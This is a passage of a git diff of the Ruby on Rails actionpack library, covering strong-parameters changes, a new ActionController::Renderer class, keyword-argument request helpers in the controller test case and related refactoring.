-    def resource_errors
-      respond_to?("#{format}_resource_errors", true) ? send("#{format}_resource_errors") : resource.errors
-    end
-
-    def json_resource_errors
-      {:errors => resource.errors}
-    end
-
-    def response_overridden?
-      @default_response.present?
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 62d5931b45..04401cad7b 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -183,7 +183,7 @@ module ActionController #:nodoc:
   # You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
   # Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
   #
-  # If you are using Unicorn with Nginx, you may need to tweak Nginx.
+  # If you are using Unicorn with NGINX, you may need to tweak NGINX.
   # Streaming should work out of the box on Rainbows.
   #
   # ==== Passenger
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index ae600b1ebe..01bbd749c1 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -1,8 +1,11 @@
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/string/filters'
+require 'active_support/deprecation'
 require 'active_support/rescuable'
 require 'action_dispatch/http/upload'
 require 'stringio'
+require 'set'
 
 module ActionController
   # Raised when a required parameter is missing.
@@ -17,7 +20,7 @@ module ActionController
 
     def initialize(param) # :nodoc:
       @param = param
-      super("param not found: #{param}")
+      super("param is missing or the value is empty: #{param}")
     end
   end
 
@@ -31,14 +34,14 @@ module ActionController
 
     def initialize(params) # :nodoc:
       @params = params
-      super("found unpermitted parameters: #{params.join(", ")}")
+      super("found unpermitted parameter#{'s' if params.size > 1 }: #{params.join(", ")}")
     end
   end
 
   # == Action Controller \Parameters
   #
   # Allows to choose which attributes should be whitelisted for mass updating
-  # and thus prevent accidentally exposing that which shouldn’t be exposed.
+  # and thus prevent accidentally exposing that which shouldn't be exposed.
   # Provides two methods for this purpose: #require and #permit. The former is
   # used to mark parameters as required. The latter is used to set the parameter
   # as permitted and limit which attributes should be allowed for mass updating.
@@ -89,7 +92,11 @@ module ActionController
   #   params.permit(:c)
   #   # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
   #
-  # <tt>ActionController::Parameters</tt> is inherited from
+  # Please note that these options *are not thread-safe*. In a multi-threaded
+  # environment they should only be set once at boot-time and never mutated at
+  # runtime.
+  #
+  # <tt>ActionController::Parameters</tt> inherits from
   # <tt>ActiveSupport::HashWithIndifferentAccess</tt>, this means
   # that you can fetch values using either <tt>:key</tt> or <tt>"key"</tt>.
   #
@@ -100,9 +107,25 @@ module ActionController
     cattr_accessor :permit_all_parameters, instance_accessor: false
     cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false
 
-    # Never raise an UnpermittedParameters exception because of these params
-    # are present. They are added by Rails and it's of no concern.
-    NEVER_UNPERMITTED_PARAMS = %w( controller action )
+    # By default, never raise an UnpermittedParameters exception if these
+    # params are present. The default includes both 'controller' and 'action'
+    # because they are added by Rails and should be of no concern. One way
+    # to change these is to specify `always_permitted_parameters` in your
+    # config. For instance:
+    #
+    #    config.always_permitted_parameters = %w( controller action format )
+    cattr_accessor :always_permitted_parameters
+    self.always_permitted_parameters = %w( controller action )
+
+    def self.const_missing(const_name)
+      super unless const_name == :NEVER_UNPERMITTED_PARAMS
+      ActiveSupport::Deprecation.warn(<<-MSG.squish)
+        `ActionController::Parameters::NEVER_UNPERMITTED_PARAMS` has been deprecated.
+        Use `ActionController::Parameters.always_permitted_parameters` instead.
+      MSG
+
+      always_permitted_parameters
+    end
 
     # Returns a new instance of <tt>ActionController::Parameters</tt>.
     # Also, sets the +permitted+ attribute to the default value of
@@ -125,6 +148,54 @@ module ActionController
       @permitted = self.class.permit_all_parameters
     end
 
+    # Returns a safe +Hash+ representation of this parameter with all
+    # unpermitted keys removed.
+    #
+    #   params = ActionController::Parameters.new({
+    #     name: 'Senjougahara Hitagi',
+    #     oddity: 'Heavy stone crab'
+    #   })
+    #   params.to_h # => {}
+    #
+    #   safe_params = params.permit(:name)
+    #   safe_params.to_h # => {"name"=>"Senjougahara Hitagi"}
+    def to_h
+      if permitted?
+        to_hash
+      else
+        slice(*self.class.always_permitted_parameters).permit!.to_h
+      end
+    end
+
+    # Returns an unsafe, unfiltered +Hash+ representation of this parameter.
+    def to_unsafe_h
+      to_hash
+    end
+    alias_method :to_unsafe_hash, :to_unsafe_h
+
+    # Convert all hashes in values into parameters, then yield each pair like
+    # the same way as <tt>Hash#each_pair</tt>
+    def each_pair(&block)
+      super do |key, value|
+        convert_hashes_to_parameters(key, value)
+      end
+
+      super
+    end
+
+    alias_method :each, :each_pair
+
+    # Attribute that keeps track of converted arrays, if any, to avoid double
+    # looping in the common use case permit + mass-assignment. Defined in a
+    # method to instantiate it only if needed.
+    #
+    # Testing membership still loops, but it's going to be faster than our own
+    # loop that converts values. Also, we are not going to build a new array
+    # object per fetch.
+    def converted_arrays
+      @converted_arrays ||= Set.new
+    end
+
     # Returns +true+ if the parameter is permitted, +false+ otherwise.
     #
     #   params = ActionController::Parameters.new
@@ -149,8 +220,9 @@ module ActionController
     #   Person.new(params) # => #<Person id: nil, name: "Francesco">
     def permit!
       each_pair do |key, value|
-        convert_hashes_to_parameters(key, value)
-        self[key].permit! if self[key].respond_to? :permit!
+        Array.wrap(value).each do |v|
+          v.permit! if v.respond_to? :permit!
+        end
       end
 
       @permitted = true
@@ -170,7 +242,12 @@ module ActionController
     #   ActionController::Parameters.new(person: {}).require(:person)
     #   # => ActionController::ParameterMissing: param not found: person
     def require(key)
-      self[key].presence || raise(ParameterMissing.new(key))
+      value = self[key]
+      if value.present? || value == false
+        value
+      else
+        raise ParameterMissing.new(key)
+      end
     end
 
     # Alias of #require.
@@ -284,7 +361,7 @@ module ActionController
     #   params.fetch(:none, 'Francesco')    # => "Francesco"
     #   params.fetch(:none) { 'Francesco' } # => "Francesco"
     def fetch(key, *args)
-      convert_hashes_to_parameters(key, super)
+      convert_hashes_to_parameters(key, super, false)
     rescue KeyError
       raise ActionController::ParameterMissing.new(key)
     end
@@ -297,11 +374,56 @@ module ActionController
     #   params.slice(:a, :b) # => {"a"=>1, "b"=>2}
     #   params.slice(:d)     # => {}
     def slice(*keys)
-      self.class.new(super).tap do |new_instance|
-        new_instance.permitted = @permitted
+      new_instance_with_inherited_permitted_status(super)
+    end
+
+    # Removes and returns the key/value pairs matching the given keys.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.extract!(:a, :b) # => {"a"=>1, "b"=>2}
+    #   params                  # => {"c"=>3}
+    def extract!(*keys)
+      new_instance_with_inherited_permitted_status(super)
+    end
+
+    # Returns a new <tt>ActionController::Parameters</tt> with the results of
+    # running +block+ once for every value. The keys are unchanged.
+    #
+    #   params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+    #   params.transform_values { |x| x * 2 }
+    #   # => {"a"=>2, "b"=>4, "c"=>6}
+    def transform_values
+      if block_given?
+        new_instance_with_inherited_permitted_status(super)
+      else
+        super
+      end
+    end
+
+    # This method is here only to make sure that the returned object has the
+    # correct +permitted+ status. It should not matter since the parent of
+    # this object is +HashWithIndifferentAccess+
+    def transform_keys # :nodoc:
+      if block_given?
+        new_instance_with_inherited_permitted_status(super)
+      else
+        super
       end
     end
 
+    # Deletes and returns a key-value pair from +Parameters+ whose key is equal
+    # to key. If the key is not found, returns the default value. If the
+    # optional code block is given and the key is not found, pass in the key
+    # and return the result of block.
+    def delete(key, &block)
+      convert_hashes_to_parameters(key, super, false)
+    end
+
+    # Equivalent to Hash#keep_if, but returns nil if no changes were made.
+    def select!(&block)
+      convert_value_to_parameters(super)
+    end
+
     # Returns an exact copy of the <tt>ActionController::Parameters</tt>
     # instance. +permitted+ state is kept on the duped object.
     #
@@ -322,19 +444,34 @@ module ActionController
       end
 
     private
-      def convert_hashes_to_parameters(key, value)
-        if value.is_a?(Parameters) || !value.is_a?(Hash)
+      def new_instance_with_inherited_permitted_status(hash)
+        self.class.new(hash).tap do |new_instance|
+          new_instance.permitted = @permitted
+        end
+      end
+
+      def convert_hashes_to_parameters(key, value, assign_if_converted=true)
+        converted = convert_value_to_parameters(value)
+        self[key] = converted if assign_if_converted && !converted.equal?(value)
+        converted
+      end
+
+      def convert_value_to_parameters(value)
+        if value.is_a?(Array) && !converted_arrays.member?(value)
+          converted = value.map { |_| convert_value_to_parameters(_) }
+          converted_arrays << converted
+          converted
+        elsif value.is_a?(Parameters) || !value.is_a?(Hash)
           value
         else
-          # Convert to Parameters on first access
-          self[key] = self.class.new(value)
+          self.class.new(value)
         end
       end
 
       def each_element(object)
         if object.is_a?(Array)
           object.map { |el| yield el }.compact
-        elsif object.is_a?(Hash) && object.keys.all? { |k| k =~ /\A-?\d+\z/ }
+        elsif fields_for_style?(object)
           hash = object.class.new
           object.each { |k,v| hash[k] = yield v }
           hash
@@ -343,6 +480,10 @@ module ActionController
         end
       end
 
+      def fields_for_style?(object)
+        object.is_a?(Hash) && object.all? { |k, v| k =~ /\A-?\d+\z/ && v.is_a?(Hash) }
+      end
+
       def unpermitted_parameters!(params)
         unpermitted_keys = unpermitted_keys(params)
         if unpermitted_keys.any?
@@ -357,7 +498,7 @@ module ActionController
       end
 
       def unpermitted_keys(params)
-        self.keys - params.keys - NEVER_UNPERMITTED_PARAMS
+        self.keys - params.keys - self.always_permitted_parameters
       end
 
       #
@@ -421,7 +562,7 @@ module ActionController
 
         # Slicing filters out non-declared keys.
         slice(*filter.keys).each do |key, value|
-          return unless value
+          next unless value
 
           if filter[key] == EMPTY_ARRAY
             # Declaration { comment_ids: [] }.
@@ -479,7 +620,7 @@ module ActionController
   #       end
   #   end
   #
-  # In order to use <tt>accepts_nested_attribute_for</tt> with Strong \Parameters, you
+  # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
   # will need to specify which nested attributes should be whitelisted.
   #
   #   class Person
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index 0377b8c4cf..d01927b7cb 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -17,7 +17,6 @@ module ActionController
 
       def recycle!
         @_url_options = nil
-        self.response_body = nil
         self.formats = nil
         self.params = nil
       end
@@ -25,7 +24,7 @@ module ActionController
 
     module ClassMethods
       def before_filters
-        _process_action_callbacks.find_all{|x| x.kind == :before}.map{|x| x.name}
+        _process_action_callbacks.find_all{|x| x.kind == :before}.map(&:name)
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 754249cbc8..572d1770f7 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -23,25 +23,24 @@ module ActionController
     include AbstractController::UrlFor
 
     def url_options
-      @_url_options ||= super.reverse_merge(
+      @_url_options ||= {
         :host => request.host,
         :port => request.optional_port,
         :protocol => request.protocol,
-        :_recall => request.symbolized_path_parameters
-      ).freeze
+        :_recall => request.path_parameters
+      }.merge!(super).freeze
 
-      if (same_origin = _routes.equal?(env["action_dispatch.routes"])) ||
-         (script_name = env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]) ||
-         (original_script_name = env['ORIGINAL_SCRIPT_NAME'])
+      if (same_origin = _routes.equal?(request.routes)) ||
+         (script_name = request.engine_script_name(_routes)) ||
+         (original_script_name = request.original_script_name)
 
-        @_url_options.dup.tap do |options|
-          if original_script_name
-            options[:original_script_name] = original_script_name
-          else
-            options[:script_name] = same_origin ? request.script_name.dup : script_name
-          end
-          options.freeze
+        options = @_url_options.dup
+        if original_script_name
+          options[:original_script_name] = original_script_name
+        else
+          options[:script_name] = same_origin ? request.script_name.dup : script_name
         end
+        options.freeze
       else
         @_url_options
       end
diff --git a/actionpack/lib/action_controller/model_naming.rb b/actionpack/lib/action_controller/model_naming.rb
deleted file mode 100644
index 785221dc3d..0000000000
--- a/actionpack/lib/action_controller/model_naming.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module ActionController
-  module ModelNaming
-    # Converts the given object to an ActiveModel compliant one.
-    def convert_to_model(object)
-      object.respond_to?(:to_model) ? object.to_model : object
-    end
-
-    def model_name_from_record_or_class(record_or_class)
-      (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 0833e65d23..28b20052b5 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -3,6 +3,7 @@ require "action_controller"
 require "action_dispatch/railtie"
 require "abstract_controller/railties/routes_helpers"
 require "action_controller/railties/helpers"
+require "action_view/railtie"
 
 module ActionController
   class Railtie < Rails::Railtie #:nodoc:
@@ -22,6 +23,10 @@ module ActionController
       options = app.config.action_controller
 
       ActionController::Parameters.permit_all_parameters = options.delete(:permit_all_parameters) { false }
+      if app.config.action_controller[:always_permitted_parameters]
+        ActionController::Parameters.always_permitted_parameters =
+          app.config.action_controller.delete(:always_permitted_parameters)
+      end
       ActionController::Parameters.action_on_unpermitted_parameters = options.delete(:action_on_unpermitted_parameters) do
         (Rails.env.test? || Rails.env.development?) ? :log : false
       end
diff --git a/actionpack/lib/action_controller/renderer.rb b/actionpack/lib/action_controller/renderer.rb
new file mode 100644
index 0000000000..e8b29c5b5e
--- /dev/null
+++ b/actionpack/lib/action_controller/renderer.rb
@@ -0,0 +1,100 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActionController
+  # ActionController::Renderer allows to render arbitrary templates
+  # without requirement of being in controller actions.
+  #
+  # You get a concrete renderer class by invoking ActionController::Base#renderer.
+  # For example,
+  #
+  #   ApplicationController.renderer
+  #
+  # It allows you to call method #render directly.
+  #
+  #   ApplicationController.renderer.render template: '...'
+  #
+  # You can use a shortcut on controller to replace previous example with:
+  #
+  #   ApplicationController.render template: '...'
+  #
+  # #render method allows you to use any options as when rendering in controller.
+  # For example,
+  #
+  #   FooController.render :action, locals: { ... }, assigns: { ... }
+  #
+  # The template will be rendered in a Rack environment which is accessible through
+  # ActionController::Renderer#env. You can set it up in two ways:
+  #
+  # *  by changing renderer defaults, like
+  #
+  #       ApplicationController.renderer.defaults # => hash with default Rack environment
+  #
+  # *  by initializing an instance of renderer by passing it a custom environment.
+  #
+  #       ApplicationController.renderer.new(method: 'post', https: true)
+  #
+  class Renderer
+    class_attribute :controller, :defaults
+    # Rack environment to render templates in.
+    attr_reader :env
+
+    class << self
+      delegate :render, to: :new
+
+      # Create a new renderer class for a specific controller class.
+      def for(controller)
+        Class.new self do
+          self.controller = controller
+          self.defaults = {
+            http_host: 'example.org',
+            https: false,
+            method: 'get',
+            script_name: '',
+            'rack.input' => ''
+          }
+        end
+      end
+    end
+
+    # Accepts a custom Rack environment to render templates in.
+    # It will be merged with ActionController::Renderer.defaults
+    def initialize(env = {})
+      @env = normalize_keys(defaults).merge normalize_keys(env)
+      @env['action_dispatch.routes'] = controller._routes
+    end
+
+    # Render templates with any options from ActionController::Base#render_to_string.
+    def render(*args)
+      raise 'missing controller' unless controller?
+
+      instance = controller.build_with_env(env)
+      instance.render_to_string(*args)
+    end
+
+    private
+      def normalize_keys(env)
+        http_header_format(env).tap do |new_env|
+          handle_method_key! new_env
+          handle_https_key!  new_env
+        end
+      end
+
+      def http_header_format(env)
+        env.transform_keys do |key|
+          key.is_a?(Symbol) ? key.to_s.upcase : key
+        end
+      end
+
+      def handle_method_key!(env)
+        if method = env.delete('METHOD')
+          env['REQUEST_METHOD'] = method.upcase
+        end
+      end
+
+      def handle_https_key!(env)
+        if env.has_key? 'HTTPS'
+          env['HTTPS'] = env['HTTPS'] ? 'on' : 'off'
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 5ed3d2ebc1..4782991463 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -3,6 +3,8 @@ require 'active_support/core_ext/object/to_query'
 require 'active_support/core_ext/module/anonymous'
 require 'active_support/core_ext/hash/keys'
 
+require 'rails-dom-testing'
+
 module ActionController
   module TemplateAssertions
     extend ActiveSupport::Concern
@@ -12,13 +14,16 @@ module ActionController
       teardown :teardown_subscriptions
     end
 
+    RENDER_TEMPLATE_INSTANCE_VARIABLES = %w{partials templates layouts files}.freeze
+
     def setup_subscriptions
-      @_partials = Hash.new(0)
-      @_templates = Hash.new(0)
-      @_layouts = Hash.new(0)
-      @_files = Hash.new(0)
+      RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable|
+        instance_variable_set("@_#{instance_variable}", Hash.new(0))
+      end
+
+      @_subscribers = []
 
-      ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
+      @_subscribers << ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
         path = payload[:layout]
         if path
           @_layouts[path] += 1
@@ -28,42 +33,46 @@ module ActionController
         end
       end
 
-      ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
-        path = payload[:virtual_path]
-        next unless path
-        partial = path =~ /^.*\/_[^\/]*$/
-
-        if partial
-          @_partials[path] += 1
-          @_partials[path.split("/").last] += 1
-        end
-
-        @_templates[path] += 1
-      end
+      @_subscribers << ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+        if virtual_path = payload[:virtual_path]
+          partial = virtual_path =~ /^.*\/_[^\/]*$/
 
-      ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
-        next if payload[:virtual_path] # files don't have virtual path
+          if partial
+            @_partials[virtual_path] += 1
+            @_partials[virtual_path.split("/").last] += 1
+          end
 
-        path = payload[:identifier]
-        if path
-          @_files[path] += 1
-          @_files[path.split("/").last] += 1
+          @_templates[virtual_path] += 1
+        else
+          path = payload[:identifier]
+          if path
+            @_files[path] += 1
+            @_files[path.split("/").last] += 1
+          end
         end
       end
     end
 
     def teardown_subscriptions
-      ActiveSupport::Notifications.unsubscribe("render_template.action_view")
-      ActiveSupport::Notifications.unsubscribe("!render_template.action_view")
+      @_subscribers.each do |subscriber|
+        ActiveSupport::Notifications.unsubscribe(subscriber)
+      end
     end
 
     def process(*args)
-      @_partials = Hash.new(0)
-      @_templates = Hash.new(0)
-      @_layouts = Hash.new(0)
+      reset_template_assertion
       super
     end
 
+    def reset_template_assertion
+      RENDER_TEMPLATE_INSTANCE_VARIABLES.each do |instance_variable|
+        ivar_name = "@_#{instance_variable}"
+        if instance_variable_defined?(ivar_name)
+          instance_variable_get(ivar_name).clear
+        end
+      end
+    end
+
     # Asserts that the request was rendered with the appropriate template file or partials.
     #
     #   # assert that the "new" view template was rendered
@@ -87,6 +96,13 @@ module ActionController
     #   # assert that no partials were rendered
     #   assert_template partial: false
     #
+    #   # assert that a file was rendered
+    #   assert_template file: "README.rdoc"
+    #
+    #   # assert that no file was rendered
+    #   assert_template file: nil
+    #   assert_template file: false
+    #
     # In a view test case, you can also assert that specific locals are passed
     # to partials:
     #
@@ -131,11 +147,15 @@ module ActionController
             assert(@_layouts.keys.any? {|l| l =~ expected_layout }, msg)
           when nil, false
             assert(@_layouts.empty?, msg)
+          else
+            raise ArgumentError, "assert_template only accepts a String, Symbol, Regexp, nil or false for :layout"
           end
         end
 
         if options[:file]
           assert_includes @_files.keys, options[:file]
+        elsif options.key?(:file)
+          assert @_files.blank?, "expected no files but #{@_files.keys} was rendered"
         end
 
         if expected_partial = options[:partial]
@@ -197,7 +217,7 @@ module ActionController
           value = value.dup
         end
 
-        if extra_keys.include?(key.to_sym)
+        if extra_keys.include?(key)
           non_path_parameters[key] = value
         else
           if value.is_a?(Array)
@@ -206,13 +226,16 @@ module ActionController
             value = value.to_param
           end
 
-          path_parameters[key.to_s] = value
+          path_parameters[key] = value
         end
       end
 
       # Clear the combined params hash in case it was already referenced.
       @env.delete("action_dispatch.request.parameters")
 
+      # Clear the filter cache variables so they're not stale
+      @filtered_parameters = @filtered_env = @filtered_path = nil
+
       params = self.request_parameters.dup
       %w(controller action only_path).each do |k|
         params.delete(k)
@@ -228,7 +251,6 @@ module ActionController
       @formats = nil
       @env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ }
       @env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
-      @symbolized_path_params = nil
       @method = @request_method = nil
       @fullpath = @ip = @remote_ip = @protocol = nil
       @env['action_dispatch.request.query_parameters'] = {}
@@ -255,6 +277,29 @@ module ActionController
     end
   end
 
+  class LiveTestResponse < Live::Response
+    def recycle!
+      @body = nil
+      initialize
+    end
+
+    def body
+      @body ||= super
+    end
+
+    # Was the response successful?
+    alias_method :success?, :successful?
+
+    # Was the URL not found?
+    alias_method :missing?, :not_found?
+
+    # Were we redirected?
+    alias_method :redirect?, :redirection?
+
+    # Was there a server-side error?
+    alias_method :error?, :server_error?
+  end
+
   # Methods #destroy and #load! are overridden to avoid calling methods on the
   # @store object, which does not exist for the TestSession class.
   class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
@@ -404,6 +449,7 @@ module ActionController
       extend ActiveSupport::Concern
       include ActionDispatch::TestProcess
       include ActiveSupport::Testing::ConstantLookup
+      include Rails::Dom::Testing::Assertions
 
       attr_reader :response, :request
 
@@ -427,7 +473,6 @@ module ActionController
         end
 
         def controller_class=(new_class)
-          prepare_controller_class(new_class) if new_class
           self._controller_class = new_class
         end
 
@@ -444,65 +489,71 @@ module ActionController
             Class === constant && constant < ActionController::Metal
           end
         end
-
-        def prepare_controller_class(new_class)
-          new_class.send :include, ActionController::TestCase::RaiseActionExceptions
-        end
-
       end
 
       # Simulate a GET request with the given parameters.
       #
       # - +action+: The controller action to call.
-      # - +parameters+: The HTTP parameters that you want to pass. This may
-      #   be +nil+, a hash, or a string that is appropriately encoded
+      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
+      # - +body+: The request body with a string that is appropriately encoded
       #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
       # - +session+: A hash of parameters to store in the session. This may be +nil+.
       # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
       #
-      # You can also simulate POST, PATCH, PUT, DELETE, HEAD, and OPTIONS requests with
-      # +post+, +patch+, +put+, +delete+, +head+, and +options+.
+      # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with
+      # +post+, +patch+, +put+, +delete+, and +head+.
+      # Example sending parameters, session and setting a flash message:
+      #
+      #   get :show,
+      #     params: { id: 7 },
+      #     session: { user_id: 1 },
+      #     flash: { notice: 'This is flash message' }
       #
       # Note that the request method is not verified. The different methods are
       # available to make the tests more expressive.
       def get(action, *args)
-        process(action, "GET", *args)
+        process_with_kwargs("GET", action, *args)
       end
 
       # Simulate a POST request with the given parameters and set/volley the response.
       # See +get+ for more details.
       def post(action, *args)
-        process(action, "POST", *args)
+        process_with_kwargs("POST", action, *args)
       end
 
       # Simulate a PATCH request with the given parameters and set/volley the response.
       # See +get+ for more details.
       def patch(action, *args)
-        process(action, "PATCH", *args)
+        process_with_kwargs("PATCH", action, *args)
       end
 
       # Simulate a PUT request with the given parameters and set/volley the response.
       # See +get+ for more details.
       def put(action, *args)
-        process(action, "PUT", *args)
+        process_with_kwargs("PUT", action, *args)
       end
 
       # Simulate a DELETE request with the given parameters and set/volley the response.
       # See +get+ for more details.
       def delete(action, *args)
-        process(action, "DELETE", *args)
+        process_with_kwargs("DELETE", action, *args)
       end
 
       # Simulate a HEAD request with the given parameters and set/volley the response.
       # See +get+ for more details.
       def head(action, *args)
-        process(action, "HEAD", *args)
+        process_with_kwargs("HEAD", action, *args)
       end
 
-      def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
+      def xml_http_request(*args)
+        ActiveSupport::Deprecation.warn(<<-MSG.strip_heredoc)
+          xhr and xml_http_request methods are deprecated in favor of
+          `get :index, xhr: true` and `post :create, xhr: true`
+        MSG
+
         @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
-        @request.env['HTTP_ACCEPT'] ||=  [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
-        __send__(request_method, action, parameters, session, flash).tap do
+        @request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+        __send__(*args).tap do
           @request.env.delete 'HTTP_X_REQUESTED_WITH'
           @request.env.delete 'HTTP_ACCEPT'
         end
@@ -522,24 +573,77 @@ module ActionController
         end
       end
 
-      def process(action, http_method = 'GET', *args)
+      # Simulate a HTTP request to +action+ by specifying request method,
+      # parameters and set/volley the response.
+      #
+      # - +action+: The controller action to call.
+      # - +method+: Request method used to send the HTTP request. Possible values
+      #   are +GET+, +POST+, +PATCH+, +PUT+, +DELETE+, +HEAD+. Defaults to +GET+. Can be a symbol.
+      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
+      # - +body+: The request body with a string that is appropriately encoded
+      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+      # - +session+: A hash of parameters to store in the session. This may be +nil+.
+      # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+      # - +format+: Request format. Defaults to +nil+. Can be string or symbol.
+      #
+      # Example calling +create+ action and sending two params:
+      #
+      #   process :create,
+      #     method: 'POST',
+      #     params: {
+      #       user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+      #     },
+      #     session: { user_id: 1 },
+      #     flash: { notice: 'This is flash message' }
+      #
+      # To simulate +GET+, +POST+, +PATCH+, +PUT+, +DELETE+ and +HEAD+ requests
+      # prefer using #get, #post, #patch, #put, #delete and #head methods
+      # respectively which will make tests more expressive.
+      #
+      # Note that the request method is not verified.
+      def process(action, *args)
         check_required_ivars
 
-        if args.first.is_a?(String) && http_method != 'HEAD'
-          @request.env['RAW_POST_DATA'] = args.shift
+        if kwarg_request?(*args)
+          parameters, session, body, flash, http_method, format, xhr = args[0].values_at(:params, :session, :body, :flash, :method, :format, :xhr)
+        else
+          http_method, parameters, session, flash = args
+          format = nil
+
+          if parameters.is_a?(String) && http_method != 'HEAD'
+            body = parameters
+            parameters = nil
+          end
+
+          if parameters.present? || session.present? || flash.present?
+            non_kwarg_request_warning
+          end
         end
 
-        parameters, session, flash = args
+        if body.present?
+          @request.env['RAW_POST_DATA'] = body
+        end
+
+        if http_method.present?
+          http_method = http_method.to_s.upcase
+        else
+          http_method = "GET"
+        end
+
+        parameters ||= {}
 
         # Ensure that numbers and symbols passed as params are converted to
         # proper params, as is the case when engaging rack.
         parameters = paramify_values(parameters) if html_format?(parameters)
 
+        if format.present?
+          parameters[:format] = format
+        end
+
         @html_document = nil
 
         unless @controller.respond_to?(:recycle!)
           @controller.extend(Testing::Functional)
-          @controller.class.class_eval { include Testing }
         end
 
         @request.recycle!
@@ -548,7 +652,6 @@ module ActionController
 
         @request.env['REQUEST_METHOD'] = http_method
 
-        parameters ||= {}
         controller_class_name = @controller.class.anonymous? ?
           "anonymous" :
           @controller.class.controller_path
@@ -558,6 +661,11 @@ module ActionController
         @request.session.update(session) if session
         @request.flash.update(flash || {})
 
+        if xhr
+          @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+          @request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+        end
+
         @controller.request  = @request
         @controller.response = @response
 
@@ -565,27 +673,41 @@ module ActionController
 
         name = @request.parameters[:action]
 
+        @controller.recycle!
         @controller.process(name)
 
         if cookies = @request.env['action_dispatch.cookies']
-          cookies.write(@response)
+          unless @response.committed?
+            cookies.write(@response)
+          end
         end
         @response.prepare!
 
         @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {}
-        @request.session['flash'] = @request.flash.to_session_value
-        @request.session.delete('flash') if @request.session['flash'].blank?
+
+        if flash_value = @request.flash.to_session_value
+          @request.session['flash'] = flash_value
+        else
+          @request.session.delete('flash')
+        end
+
+        if xhr
+          @request.env.delete 'HTTP_X_REQUESTED_WITH'
+          @request.env.delete 'HTTP_ACCEPT'
+        end
+
         @response
       end
 
       def setup_controller_request_and_response
-        @request          = build_request
-        @response         = build_response
-        @response.request = @request
-
         @controller = nil unless defined? @controller
 
+        response_klass = TestResponse
+
         if klass = self.class.controller_class
+          if klass < ActionController::Live
+            response_klass = LiveTestResponse
+          end
           unless @controller
             begin
               @controller = klass.new
@@ -595,6 +717,10 @@ module ActionController
           end
         end
 
+        @request          = build_request
+        @response         = build_response response_klass
+        @response.request = @request
+
         if @controller
           @controller.request = @request
           @controller.params = {}
@@ -605,8 +731,8 @@ module ActionController
         TestRequest.new
       end
 
-      def build_response
-        TestResponse.new
+      def build_response(klass)
+        klass.new
       end
 
       included do
@@ -617,6 +743,43 @@ module ActionController
       end
 
       private
+
+      def process_with_kwargs(http_method, action, *args)
+        if kwarg_request?(*args)
+          args.first.merge!(method: http_method)
+          process(action, *args)
+        else
+          non_kwarg_request_warning if args.present?
+
+          args = args.unshift(http_method)
+          process(action, *args)
+        end
+      end
+
+      REQUEST_KWARGS = %i(params session flash method body xhr)
+      def kwarg_request?(*args)
+        args[0].respond_to?(:keys) && (
